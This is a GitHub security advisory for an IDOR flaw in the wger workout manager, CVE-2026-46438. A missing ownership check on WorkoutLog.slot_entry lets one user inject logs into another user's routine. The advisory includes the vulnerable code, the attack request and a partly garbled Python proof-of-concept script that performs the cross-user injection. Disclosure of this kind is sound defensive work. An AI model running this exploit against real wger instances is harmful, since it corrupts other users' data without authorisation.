GitHub Advisoryadvisory · PyPI

GHSA-rjpf-7pf5-q54x wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry

MEDIUM Published 2026-10-07 Modified 2026-10-26 Official page ↗
Aliases
CVE-2026-46438
Ecosystem
PyPI
Packages
wger
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Weaknesses
CWE-639, CWE-862
Reviewed
2026-10-07

Affected packages

• PyPI wger: <= 2.1 (no fix yet)

Description

Summary An authenticated attacker can inject arbitrary workout log entries into any other user's `SlotEntry` by supplying the victim's `slot_entry` ID in a `POST /api/v2/workoutlog/` request. The `slot_entry` foreign key is not included in the ownership verification performed by `WorkoutLogViewSet.get_owner_objects()`, so the server accepts and persists the cross-user reference without error. Because `SlotEntry.get_config_data()` retrieves associated logs via `self.workoutlog_set.all()` with no user filter, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets. Details wger uses a centralized ownership-verification pattern in `WgerOwnerObjectModelViewSet.create()` (file: `wger/utils/viewsets.py`). This method iterates over the list returned by each ViewSet's `get_owner_objects()` and verifies that every listed foreign-key value in the request belongs to the authenticated user. Foreign keys not present in the list are never checked. `WorkoutLogViewSet.get_owner_objects()` returns: ```python File: wger/manager/api/views.py, lines 312-316 def get_owner_objects(self): return [(Routine, 'routine'), (WorkoutSession, 'session')] # ^^^^^^^ checked ^^^^^^^^^^^^^^^ checked # (SlotEntry, 'slot_entry') is MISSING ``` Because `slot_entry` is omitted, an attacker can supply their own `routine` (which passes the ownership check) alongside a victim's `slot_entry` ID (which is never verified). The second contributing factor is in `SlotEntry.get_config_data()`: ```python File: wger/manager/models/slot_entry.py, line 367 logs = list(self.workoutlog_set.all()) # no .filter(user=...) ``` This reverse-relation query returns all `WorkoutLog` rows linked to the `SlotEntry`, regardless of which user created them. The attacker's injected entries are therefore included in the victim's progression calculations. PoC Prerequisites • Two authenticated user accounts (attacker and victim) • The attacker knows (or can enumerate) the victim's `SlotEntry` ID • The attacker has at least one `Routine` of their own (to satisfy the `routine` ownership check) Attack Steps ``` POST /api/v2/workoutlog/ Authorization: Token Content-Type: application/json { "routine": , "slot_entry": , "exercise": , "repetitions": 999, "weight": 999, "repetitions_unit": 1, "weight_unit": 1, "date": "2025-01-15", "iteration": 1 } ``` Expected: HTTP 403 (the `slot_entry` belongs to another user) Actual: HTTP 201 (the log is created and linked to the victim's `SlotEntry`) Proof of Concept Script ```python !/usr/bin/env python3 """ PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR Target: wger Workout Manager Severity: CRITICAL - CVSS 7.1 CWE-639: Authorization Bypass Through User-Controlled Key Usage: python3 poc.py http://localhost:8000 """ import requests import sys import json from datetime import date, timedelta if len(sys.argv) ") print(f"Example: {sys.argv[0]} http://localhost:8000") sys.exit(1) BASE = sys.argv[1].rstrip("/") API = f"{BASE}/api/v2" VICTIM_USER = "admin" VICTIM_PASS = "adminadmin" ATTACKER_USER = "attacker_idor_poc" ATTACKER_PASS = "Attacker!Poc!2025" BANNER = """ ===================================================================== PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR Severity: CRITICAL CWE-639: Authorization Bypass Through User-Controlled Key ===================================================================== """ print(BANNER) ---- Helper ---- def api_login(username, password): r = requests.post(f"{API}/login/", json={ "username": username, "password": password }) if r.status_code == 200: return r.json().get("token") return None def api_headers(token): return {"Authorization": f"Token {token}", "Content-Type": "application/json"} ---- 1. Authenticate both users ---- print("[1] Authenticating users...") victim_token = api_login(VICTIM_USER, VICTIM_PASS) if not victim_token: print(f"[-] Cannot log in as victim ({VICTIM_USER}). Check credentials.") sys.exit(1) print(f" Victim ({VICTIM_USER}): token={victim_token[:16]}...") attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS) if not attacker_token: print(f" Registering attacker account...") r = requests.post(f"{API}/register/", json={ "username": ATTACKER_USER, "password": ATTACKER_PASS, }) if r.status_code in (200, 201): attacker_token = r.json().get("token") if not attacker_token: attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS) if not attacker_token: print(f"[-] Cannot create/login attacker. Response: {r.text[:200]}") sys.exit(1) print(f" Attacker ({ATTACKER_USER}): token={attacker_token[:16]}...") ---- 2. Create victim's routine chain ---- print("\n[2] Setting up victim's private routine chain...") vh = api_headers(victim_token) today = str(date.today()) end_date = str(date.today() + timedelta(days=30)) r = requests.post(f"{API}/routine/", headers=vh, json={ "name": "Victim Private Routine", "start": today, "end": end_date }) victim_routine_id = r.json()["id"] print(f" Routine id={victim_routine_id}") r = requests.post(f"{API}/day/", headers=vh, json={ "routine": victim_routine_id, "order": 1, "name": "Push Day" }) victim_day_id = r.json()["id"] print(f" Day id={victim_day_id}") r = requests.post(f"{API}/slot/", headers=vh, json={ "day": victim_day_id, "order": 1 }) victim_slot_id = r.json()["id"] print(f" Slot id={victim_slot_id}") r = requests.get(f"{API}/exercise/?limit=1&format=json", headers=vh) exercise_id = r.json()["results"][0]["id"] r = requests.post(f"{API}/slot-entry/", headers=vh, json={ "slot": victim_slot_id, "exercise": exercise_id, "order": 1, "type": "normal" }) victim_slot_entry_id = r.json()["id"] print(f" SlotEntry id={victim_slot_entry_id} passes check)") print(f" slot_entry = {victim_slot_entry_id} (VICTIM's -> NOT CHECKED)") print(f" weight = 999") print(f" reps = 999") r = requests.post(f"{API}/workoutlog/", headers=ah, json=payload) print(f"\n Response: HTTP {r.status_code}") if r.status_code == 201: d = r.json() print(f" Created WorkoutLog id={d['id']}") print(f" slot_entry = {d['slot_entry']} <- VICTIM's SlotEntry!") print(f" routine = {d['routine']} <- attacker's routine") print(f" weight = {d['weight']}") print(f" reps = {d['repetitions']}") elif r.status_code == 403: print(" Access denied - NOT vulnerable (patched)") sys.exit(0) else: print(f" Unexpected: {r.text[:300]}") sys.exit(1) ---- 5. VERIFY ---- print(f"\n{'='*65}") print(f" VERIFICATION") print(f"{'='*65}") r = requests.get( f"{API}/routine/{victim_routine_id}/date-sequence-display/", headers=vh, ) print(f"\n GET /api/v…

Related

Alias · CVE (1)

  • CVE-2026-46438 wger is a free, open-source workout and fitness manager. vulnerability

Weakness · CWE (2)

  • CWE-639 Authorization Bypass Through User-Controlled Key weakness
  • CWE-862 Missing Authorization weakness

References